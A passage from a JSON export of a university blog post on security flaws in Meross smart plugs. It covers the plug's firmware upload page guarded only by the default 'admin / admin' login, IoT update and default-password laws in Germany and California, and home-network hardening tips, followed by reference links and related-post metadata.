data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"web_config_p5\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config_p5.png\" src=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config_p5.png\" alt=\"\" class=\"wp-image-20991\" srcset=\"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config_p5.png 510w, https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/web_config_p5-300x126.png 300w\" sizes=\"auto, (max-width: 510px) 100vw, 510px\" \/><\/a><figcaption class=\"wp-element-caption\">Meross smart plug administration page<\/figcaption><\/figure>\n\n\n\n<p>As you can see in the screenshot above, we can use the web form to upload a new firmware image. And the only thing that protected the administration panel against unauthorized access was the &#8220;admin \/ admin&#8221; credential combination. Phew!<\/p>\n\n\n\n<p>An attacker may be able to change a few things in the binary provided by Meross \u2014&nbsp;or they may write their own firmware for the included MediaTek SoC. If I intended to assemble a botnet of IoT devices inspired by the <a href=\"https:\/\/www.cloudflare.com\/learning\/ddos\/glossary\/mirai-botnet\/\">Mirai botnet<\/a>, that innocent-looking file upload would probably make me fairly happy. To be fair though, I have not tested installing another firmware because I didn&#8217;t want to brick my family&#8217;s smart plugs. Meross <em>may have<\/em> implemented a signature test in the firmware installation process to prevent tampered firmware from being loaded onto the device. However, if the observed behavior of the plug is any indication, I seriously doubt that Meross did a perfect job of implementing the update procedure correctly.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Where Do We Go From Here?<\/h2>\n\n\n\n<p>The discovered flaws in the Meross smart plugs highlight two of the most disasterous aspects of the IoT security landscape today. Often times, manufacturing companies give little to no thought to how the devices they develop can be abused. Obviously, no one at Meross considered how easily the plug could be turned against its owners. The second big problem in the IoT world today is a comprehensive update strategy. No software is perfect (or completed) and mistakes <em>will<\/em> happen. If we as a society make every toaster on this planet &#8220;smart&#8221;, we have to see to it that these toasters will get their bug fixes and security updates as long as they are in use. Many companies today have an attitude that they can sell a software-enabled product and immediately after receiving payment can stop caring about its future use and abuse. This behavior is wrong, not just because it&#8217;s bad for the environment if everyone buys a new toaster every other year since the old model isn&#8217;t supported anymore. It&#8217;s also wrong because consumers are left in the dark wondering how long a product may work after the moment of purchase \u2014 and they mistakenly assume that the software will work as long as the hardware will.<\/p>\n\n\n\n<p>Fortunately, these issues have (at least partly) been recognized by policymakers in multiple countries. The German Federal Parliament passed a bill that requires sellers of smart devices to provide mandatory updates. It goes into effect in 2022. This bill is the national implementation of an EU Directive from 2019. Critics say that the law does not mandate a concrete period of time in which updates have to be provided \u2014 but at least it&#8217;s a step in the right direction.<\/p>\n\n\n\n<p>A law in California (USA) passed in late 2018 makes it illegal to ship devices with pre-programmed weak default passwords (like &#8220;admin \/ admin&#8221;). To my knowledge, this kind of minimal security requirement does not yet exist in most parts of the world. In my opinion, it would be a good idea to draft similar (and more comprehensive) legislation in the European Union.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">And What to Do Now?<\/h2>\n\n\n\n<p>Of course, the legal process takes a very long time compared to the pace of innovation in this field. That&#8217;s why I would like to give you a few tips if you have a similar smart accessory in your home <em>today<\/em>. Obviously, the first pointer is to try to keep your devices up-to-date. Maybe make a list of all software-enabled devices in your home and check if you can get them updated. It could even make sense to track the last time you updated each device, and to which version \u2014 however, I haven&#8217;t done that myself either (yet?). It also makes sense to change any default passwords that your devices may have shipped with. A more hard-core approach is to actually scan every device on your local network for open ports. Often times, you can figure out fairly quickly if a device is insecure, like I did with my smart plugs.<\/p>\n\n\n\n<p>Next, create a separate WiFi for your IoT devices. That enables you to put them in a separate network where a firewall can filter incoming and outgoing (!) traffic fairly strictly. If your network equipment supports it, a great way to make this work are multiple VLANs. Multiple virtual LANs can run on one physical LAN infrastructure. The switches will tag every packet with a VLAN ID and prevent inter-VLAN communication. This ensures that your firewall (a feature built-in to most home routers) can filter traffic between the IoT network and your internal network while using the same physical infrastructure for both networks. As I implied earlier, not every router and switch are capable of VLAN tagging, though.<\/p>\n\n\n\n<p>Furthermore, look out for red flags when buying smart home accessories. There may be a reason the identical-looking smart devices on Amazon are offered by countless brands at a cheap price. Ask yourself if the brand of choice will continue to exist in a year or two. Admittedly, there are exceptions to this rule \u2014 but most long-running companies have reputations to lose. Also, a quick online search for the product you&#8217;re looking at could reveal potential publicly known issues.<\/p>\n\n\n\n<p>In the case of the Meross smart plugs, we have seen first hand that support for multiple smart home systems can cause trouble. Attackers only have to find <em>one<\/em> flaw in <em>one<\/em> of the variety of supported systems. Even if you use a relatively secure protocol like Apple&#8217;s HomeKit, your devices may also offer a completely unprotected HTTP API. I know it also has advantages to buy accessories that work with multiple systems \u2014 in case you switch to another ecosystem, you don&#8217;t have to buy new accessories. But beware that every additionally supported interface increases your attack surface.<\/p>\n\n\n\n<p><em>Notice: For privacy reasons, I have changed all WiFi credentials, IP and MAC addresses to harmless values.<\/em><\/p>\n\n\n\n<p><strong>Author:<\/strong> Martin Bock \u2014 <a href=\"https:\/\/martin-bock.com\">martin-bock.com<\/a>, <a href=\"https:\/\/twitter.com\/martbock\" target=\"_blank\" rel=\"noreferrer noopener\">@martbock<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>References<\/strong><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/Robdel12\/homebridge-meross-plug\/blob\/master\/src\/index.js\">https:\/\/github.com\/Robdel12\/homebridge-meross-plug\/blob\/master\/src\/index.js<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/community.symcon.de\/t\/meross-wlan-steckdosen-php-modul\/48483\/46\">https:\/\/community.symcon.de\/t\/meross-wlan-steckdosen-php-modul\/48483\/46<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.mediatek.com\/products\/homenetworking\/mt7682\">https:\/\/www.mediatek.com\/products\/homenetworking\/mt7682<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.reddit.com\/r\/HomeKit\/comments\/jbvbhz\/meross_smart_plug_firmware_update_process_with\/\">https:\/\/www.reddit.com\/r\/HomeKit\/comments\/jbvbhz\/meross_smart_plug_firmware_update_process_with\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.amazon.de\/-\/en\/Intelligent-Compatible-Assistant-SmartThings-Required\/dp\/B08FCBKPJ9\/\">https:\/\/www.amazon.de\/-\/en\/Intelligent-Compatible-Assistant-SmartThings-Required\/dp\/B08FCBKPJ9\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/garrettmiller.github.io\/meross-mss110-vuln\/\">https:\/\/garrettmiller.github.io\/meross-mss110-vuln\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/github.com\/mrgsts\/mss310-kontrol\">https:\/\/github.com\/mrgsts\/mss310-kontrol<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/owasp.org\/www-pdf-archive\/RSAC2015-OWASP-IoT-Miessler.pdf\">Daniel Miessler. &#8220;Securing the Internet of Things: Mapping Attack Surface Areas Using the OWASP IoT Top 10&#8221;. RSA Conference, 2015, San Franciso.<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.eurofins-cybersecurity.com\/news\/security-problems-iot-devices\/\">https:\/\/www.eurofins-cybersecurity.com\/news\/security-problems-iot-devices\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/meross.com\/support\/FAQ\/355.html\">https:\/\/meross.com\/support\/FAQ\/355.html<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/web.archive.org\/web\/20201230162751\/https:\/\/media.ccc.de\/v\/rc3-11473-conversation_with_bruce_schneier\">https:\/\/web.archive.org\/web\/20201230162751\/https:\/\/media.ccc.de\/v\/rc3-11473-conversation_with_bruce_schneier<\/a> (Original link is broken)<\/li>\n\n\n\n<li><a href=\"https:\/\/www.heise.de\/hintergrund\/IoT-Gefahren-Das-Internet-der-Undinge-4719260.html\">https:\/\/www.heise.de\/hintergrund\/IoT-Gefahren-Das-Internet-der-Undinge-4719260.html<\/a> (Paywall, German)<\/li>\n\n\n\n<li><a href=\"https:\/\/media.ccc.de\/v\/35c3-9723-smart_home_-_smart_hack\">https:\/\/media.ccc.de\/v\/35c3-9723-smart_home_-_smart_hack<\/a> (German)<\/li>\n\n\n\n<li><a href=\"https:\/\/www.vice.com\/en\/article\/mbd5m4\/california-is-making-it-illegal-for-devices-to-have-shitty-default-passwords\">https:\/\/www.vice.com\/en\/article\/mbd5m4\/california-is-making-it-illegal-for-devices-to-have-shitty-default-passwords<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/netzpolitik.org\/2018\/internet-der-dinge-kalifornien-verbietet-standardpasswoerter-ein-modell-fuer-deutschland\/\">https:\/\/netzpolitik.org\/2018\/internet-der-dinge-kalifornien-verbietet-standardpasswoerter-ein-modell-fuer-deutschland\/<\/a> (German)<\/li>\n\n\n\n<li><a href=\"https:\/\/www.cloudflare.com\/learning\/ddos\/glossary\/mirai-botnet\/\">https:\/\/www.cloudflare.com\/learning\/ddos\/glossary\/mirai-botnet\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/support.apple.com\/guide\/security\/homekit-communication-security-sec3a881ccb1\/web\">https:\/\/support.apple.com\/guide\/security\/homekit-communication-security-sec3a881ccb1\/web<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.meross.com\/faq\/230.html\">https:\/\/www.meross.com\/faq\/230.html<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.spiegel.de\/netzwelt\/netzpolitik\/bundestag-beschliesst-update-pflicht-a-f96477af-4917-417d-965c-8a2e1799b343\">https:\/\/www.spiegel.de\/netzwelt\/netzpolitik\/bundestag-beschliesst-update-pflicht-a-f96477af-4917-417d-965c-8a2e1799b343<\/a> (German)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Image Sources<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.meross.com\/faq\/230.html\">https:\/\/www.meross.com\/faq\/230.html<\/a><\/li>\n\n\n\n<li>Featured image: <a href=\"https:\/\/unsplash.com\/photos\/Apoe84m_CHQ\" target=\"_blank\" rel=\"noreferrer noopener nofollow ugc\">Patrick Campanale on Unsplash<\/a><\/li>\n\n\n\n<li>Own screenshots<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Every day, new smart home accessories go online for the first time to join the Internet of Things. Many of them enjoy the unwarranted trust of their owners.<\/p>\n","protected":false},"author":925,"featured_media":21012,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1,654,26],"tags":[509,511,508,36,512,506,507,27,28,510,125],"ppma_author":[794],"class_list":["post-20957","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-allgemein","category-internet-of-things","category-secure-systems","tag-apple","tag-firmware","tag-homekit","tag-internet-of-things","tag-iot","tag-meross","tag-nmap","tag-security","tag-smart-home","tag-smart-plug","tag-vulnerabilities"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2021\/09\/patrick-campanale-Apoe84m_CHQ-unsplash-scaled.jpg","jetpack-related-posts":[{"id":3978,"url":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2018\/08\/16\/security-in-smart-cities\/","url_meta":{"origin":20957,"position":0},"title":"Security in Smart Cities","author":"Johannes Kaeppler","date":"16. August 2018","format":false,"excerpt":"Today cities are growing bigger and faster than ever before. This results in various negative aspects for the citizens such as increased traffic, pollution, crime and cost of living, just to name a few. Governments and city administrations and authorities are in need to find solutions in order to alleviate\u2026","rel":"","context":"In &quot;Secure Systems&quot;","block_context":{"text":"Secure Systems","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/category\/system-designs\/secure-systems\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":10555,"url":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2020\/08\/19\/iot-security-the-current-situation-best-practices-and-how-these-should-be-applied\/","url_meta":{"origin":20957,"position":1},"title":"IoT security \u2013 The current situation, \u201cbest practices\u201d and how these should be applied","author":"lh133","date":"19. August 2020","format":false,"excerpt":"Smart thermostats, lamps, sockets, and many other devices are no longer part of any futuristic movies. These items can be found in most households, at least in parts, whether in Europe, America, or Asia. A trend that affects the entire globe and is currently gaining ground, especially in industrialized countries.\u2026","rel":"","context":"In &quot;Internet of Things&quot;","block_context":{"text":"Internet of Things","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/category\/scalable-systems\/internet-of-things\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2020\/08\/PaperClasses.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2020\/08\/PaperClasses.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2020\/08\/PaperClasses.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2020\/08\/PaperClasses.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":4072,"url":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2018\/08\/23\/smart-meter\/","url_meta":{"origin":20957,"position":2},"title":"Smart Meter","author":"Annika Dirks","date":"23. August 2018","format":false,"excerpt":"Smart meters are a controversial topic in Germany. Still there are no certified products available although the roll out was planned at the beginning of 2018. Security breaches can affect customer data as well as the safety of the energy net. That's why there are very strict security guidelines provided\u2026","rel":"","context":"In &quot;Secure Systems&quot;","block_context":{"text":"Secure Systems","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/category\/system-designs\/secure-systems\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/08\/smartmetergateway.pngjsessionidAF4B865AA53F33E2FC9DD537A7ABE5B4.2_cid351.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/08\/smartmetergateway.pngjsessionidAF4B865AA53F33E2FC9DD537A7ABE5B4.2_cid351.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/08\/smartmetergateway.pngjsessionidAF4B865AA53F33E2FC9DD537A7ABE5B4.2_cid351.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]},{"id":4241,"url":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2018\/09\/06\/blockchain-risks-and-chances-2018-overview\/","url_meta":{"origin":20957,"position":3},"title":"Blockchain Risks and Chances \u2013 An 2018 Overview on Public and Private Blockchain, Smart Contracts, DAOs and ICOs","author":"Pirmin Rehm","date":"6. September 2018","format":false,"excerpt":"A few years ago, talking about Blockchain was largely consistent with talking about the technology behind Bitcoin. In contrast, Blockchain nowadays comprises a whole technology branch, whereby the Blockchain itself can be implemented in lots of various ways. Not a year ago, on December 17, 2018, the peak of the\u2026","rel":"","context":"In &quot;Secure Systems&quot;","block_context":{"text":"Secure Systems","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/category\/system-designs\/secure-systems\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/09\/bc-layers.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/09\/bc-layers.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/09\/bc-layers.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/09\/bc-layers.png?resize=700%2C400&ssl=1 2x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/09\/bc-layers.png?resize=1050%2C600&ssl=1 3x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2018\/09\/bc-layers.png?resize=1400%2C800&ssl=1 4x"},"classes":[]},{"id":24051,"url":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2023\/02\/27\/fog-computing-solving-the-limitations-of-cloud-and-edge-computing\/","url_meta":{"origin":20957,"position":4},"title":"Fog Computing: Solving the limitations of Cloud and Edge Computing","author":"Andreas Nicklaus","date":"27. February 2023","format":false,"excerpt":"Fog computing offers a compromise between cloud and edge computing for real-time, scalable data analysis. Ideal for regional applications and IoT. However, authentication and privacy issues must be addressed.","rel":"","context":"In &quot;Allgemein&quot;","block_context":{"text":"Allgemein","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/category\/allgemein\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2023\/08\/edge-computing-diagram-1024x512.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2023\/08\/edge-computing-diagram-1024x512.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2023\/08\/edge-computing-diagram-1024x512.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2023\/08\/edge-computing-diagram-1024x512.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":603,"url":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/2016\/05\/25\/603\/","url_meta":{"origin":20957,"position":5},"title":"A Rant about Smart Home Security Usability","author":"Tobias Schneider","date":"25. May 2016","format":false,"excerpt":"(written by Lena Kr\u00e4chan & Tobias Schneider) Introduction Living in today\u2019s age of mobility and internet of things, residents of modern houses can easily interact with their smart homes. A smart home system is the thing to have. You can dim the lights, regulate the temperature, automatically open windows and\u2026","rel":"","context":"In &quot;Secure Systems&quot;","block_context":{"text":"Secure Systems","link":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/category\/system-designs\/secure-systems\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2016\/05\/smart-home-security.jpg?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2016\/05\/smart-home-security.jpg?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2016\/05\/smart-home-security.jpg?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blog.mi.hdm-stuttgart.de\/wp-content\/uploads\/2016\/05\/smart-home-security.jpg?resize=700%2C400&ssl=1 2x"},"classes":[]}],"jetpack_sharing_enabled":true,"authors":[{"term_id":794,"user_id":925,"is_guest":0,"slug":"mb364","display_name":"Martin Bock","avatar_url":"https:\/\/secure.gravatar.com\/avatar\/6d5fb33fe1fbc43472f3f858ac087b037555f073f3f575330aeb1f3d2b65609c?s=96&d=mm&r=g","0":null,"1":"","2":"","3":"","4":"","5":"","6":"","7":"","8":""}],"_links":{"self":[{"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/posts\/20957","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/users\/925"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/comments?post=20957"}],"version-history":[{"count":21,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/posts\/20957\/revisions"}],"predecessor-version":[{"id":25355,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/posts\/20957\/revisions\/25355"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/media\/21012"}],"wp:attachment":[{"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/media?parent=20957"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/categories?post=20957"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/tags?post=20957"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/blog.mi.hdm-stuttgart.de\/index.php\/wp-json\/wp\/v2\/ppma_author?post=20957"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}